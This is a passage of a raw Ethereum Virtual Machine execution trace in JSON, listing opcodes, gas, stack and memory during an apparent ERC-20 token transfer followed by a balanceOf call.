,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xaaa","0x164","0x184"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2726,"op":"PUSH2","gas":30606,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xaaa","0x184","0x164"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2729,"op":"JUMP","gas":30603,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xaaa","0x184","0x164","0x1fdf"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":8159,"op":"JUMPDEST","gas":30595,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xaaa","0x184","0x164"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":8160,"op":"PUSH1","gas":30594,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xaaa","0x184","0x164"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":8162,"op":"PUSH1","gas":30591,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xaaa","0x184","0x164","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":8164,"op":"DUP3","gas":30588,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xaaa","0x184","0x164","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":8165,"op":"DUP5","gas":30585,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xaaa","0x184","0x164","0x0","0x20","0x164"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":8166,"op":"SUB","gas":30582,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xaaa","0x184","0x164","0x0","0x20","0x164","0x184"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":8167,"op":"SLT","gas":30579,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xaaa","0x184","0x164","0x0","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":8168,"op":"ISZERO","gas":30576,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xaaa","0x184","0x164","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":8169,"op":"PUSH2","gas":30573,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xaaa","0x184","0x164","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":8172,"op":"JUMPI","gas":30570,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xaaa","0x184","0x164","0x0","0x1","0x1ff1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":8177,"op":"JUMPDEST","gas":30560,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xaaa","0x184","0x164","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":8178,"op":"POP","gas":30559,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xaaa","0x184","0x164","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":8179,"op":"MLOAD","gas":30557,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xaaa","0x184","0x164"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":8180,"op":"SWAP2","gas":30554,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xaaa","0x184","0xc50cc66cadfb704b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":8181,"op":"SWAP1","gas":30551,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xc50cc66cadfb704b","0x184","0xaaa"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":8182,"op":"POP","gas":30548,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xc50cc66cadfb704b","0xaaa","0x184"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":8183,"op":"JUMP","gas":30546,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xc50cc66cadfb704b","0xaaa"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2730,"op":"JUMPDEST","gas":30538,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xc50cc66cadfb704b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2731,"op":"PUSH1","gas":30537,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xc50cc66cadfb704b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2733,"op":"MLOAD","gas":30534,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xc50cc66cadfb704b","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2734,"op":"PUSH4","gas":30531,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xc50cc66cadfb704b","0x184"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2739,"op":"PUSH1","gas":30528,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xc50cc66cadfb704b","0x184","0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2741,"op":"SHL","gas":30525,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xc50cc66cadfb704b","0x184","0x70a08231","0xe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b42116bf4000000000000000000000000000000000000000000000000"]},{"pc":2742,"op":"DUP2","gas":30522,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xc50cc66cadfb704b","0x184","0x70a0823100000000000000000000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000184","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c206